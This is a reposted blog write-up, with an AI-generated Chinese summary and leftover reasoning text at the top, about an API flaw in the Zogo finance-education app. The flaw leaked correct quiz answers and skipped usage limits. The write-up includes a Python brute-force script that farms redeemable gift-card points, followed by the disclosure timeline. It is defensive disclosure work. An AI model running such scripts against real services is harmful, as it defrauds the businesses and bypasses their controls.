Zoh-no Zogo: Manufacturing pineapples (and cash) with Burp Suite
嗯,用户让我用中文总结一下这篇文章,控制在100字以内,而且不需要特定的开头。我得先仔细阅读文章内容,抓住主要信息。 文章讲的是一个叫Zogo的金融教育应用,用户完成学习模块就能获得礼品卡奖励。作者发现这个应用的API存在漏洞,通过工具分析后,写了一个脚本来自动回答问题,获取大量积分。结果他赚了30美元,Zogo在一天内修复了漏洞。 我需要把这些关键点浓缩到100字以内。首先介绍Zogo的功能和奖励机制,然后提到API漏洞被利用的情况,最后说明修复情况。 确保语言简洁明了,不使用复杂的术语。可能的结构是:Zogo是一款金融教育应用,用户完成模块可获礼品卡奖励。作者发现API漏洞,通过脚本快速答题赚取积分和礼品卡。Zogo迅速修复了漏洞。 这样应该符合要求了。 </think> Zogo是一款金融教育应用,用户通过完成学习模块可获得礼品卡奖励。作者发现其API存在漏洞,利用工具分析后编写脚本自动答题获取大量积分,并赚取30美元礼品卡。Zogo迅速修复了该漏洞。 2021-1-20 01:55:59 Author: blog.jonlu.ca(查看原文) 阅读量:0 收藏

Zogo is a finanical education app that offers incentives to its users, through gift cards, for completing learning "modules". These modules are fairly broad, and cover topics such as an introduction to investing, 401ks, health insurance, and purchasing your first home.

Some of the modules available on Zogo

The incentives take the form of gift cards, and include Amazon, Apple, and other gift cards that are pretty much as good as cash.

You earn pineapples by participating in the app through various quizzes, and once you have 5000 pineapples, you can redeem a $5 gift card.

5,000 pineapples can be redeemed for a $5 Amazon gift card

I wanted to poke around and see what their API looked like, and if there was a quicker way to generate these pineapples

Firing up burp suite

I used burp suite and set up the local proxy, hoping that the app wasn't using TLS stapling. There's a great jailbroken library called SSL Kill Switch 2 that will bypass the native TLS stapling API on ios devices, but my current iPhone isn't jailbroken.

I was hopeful, though, because Zogo is still a small start up and probably hasn't made network security a top priority.

I launched the app and it hit their API immediately. I started playing around and tried to map out every action you could do. Things became interesting once I tried answering one of the questions in the quiz.

As soon as I answered that question, this network request fired off:

Burp suite showing the Zogo API request

And the response was even better:

Burp suite showing the Zogo API response, including the valid answer

Not only is there an endpoint for accepting quiz responses - it also tells you which option is correct. At this point I wanted to bring this over to python so I could play around with a bit more.

Burp suite showing the Zogo API response, including the valid answer

Burp suite has a great extension called "Copy as requests". It will allow you to copy any network request as a python snippet.

image

Copying the request to python yielded this code that I could just run.

import requests

burp0_url = "https://api.zogofinance.com:443/production/v19/activity/multiple-choice"
burp0_headers = {"Content-Type": "application/json", "Origin": "ionic://localhost", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Accept": "application/json, text/plain, */*", "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", "Authorization": "Bearer <my token>", "Accept-Language": "en-us"}
burp0_json={"content_id": 101789, "is_party": False, "selected_answer_index": 0, "time_taken": 0}
requests.post(burp0_url, headers=burp0_headers, json=burp0_json)

This lets you quickly start playing around with the request, and poke around their API.

Writing a solver

I brought this over to jupyter notebook so I could figure out how to bruteforce the right answer to every question.

Jupyter Notebook to play around with the request

I looked at the response and wrote a small script to iterate over every question ID and try and answer it with a selected_answer_index. If it was correct I'd collect the pineapples and move on to the next one, and if it wasn't, I'd just grab the known correct index from the response and resubmit it.

for i in range(1000):
    burp0_json={"content_id": 100000+i, "is_party": False, "selected_answer_index": 1, "time_taken": 0}
    resp = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
    resp = resp.json()
    if 'multiple_choice' not in resp:
        pprint.pprint(resp)
        continue
    if not resp['multiple_choice']['is_correct']:
        print(f'wrong answer for {burp0_json["content_id"]}')
        burp0_json['selected_answer_index'] = resp['multiple_choice']['correct_answer_index']
        resp = requests.post(burp0_url, headers=burp0_headers, json=burp0_json).json()
    print(str(i), resp['multiple_choice']['is_correct'])

This worked immediately. Some question IDs didn't exist, which spit back an error from their API, but valid questions would just give out points.

Answering every question ID correctly

The great thing about this is that it bypassed the "hearts" limit in app - if you answered 5 questions incorrectly, you'd run out of hearts, and would have to wait something like 5 hours before you could use the app again. The route didn't check if you had any hearts left, though, so you could just bruteforce the entire ID space with valid answers and collect the rewards.

Results

I brute forced 1000 question ids, which lead to nearly 30000 points, or $30 on amazon. Not a crazy amount of cash, but definitely an amount that would be felt on Zogo's balance books if a non trivial percent of people abused this system. I also didn't search through the whole ID space, so it's possible the ceiling is significantly higher.

Timeline

Vulnerability reported: 1/18/21

Vulnerability acknowledged + fix prioritized: 1/19/21

image

Zogo was really fast in getting back to me and acknowleding the issue, and they'll be adding in limits to the route and patching the issue. The vulnerability would have lead to a relatively small loss, but could potentially be abused if a larger group of users started exploiting it.


文章来源: https://blog.jonlu.ca/posts/zogo-zono
如有侵权请联系:admin#unsafe.sh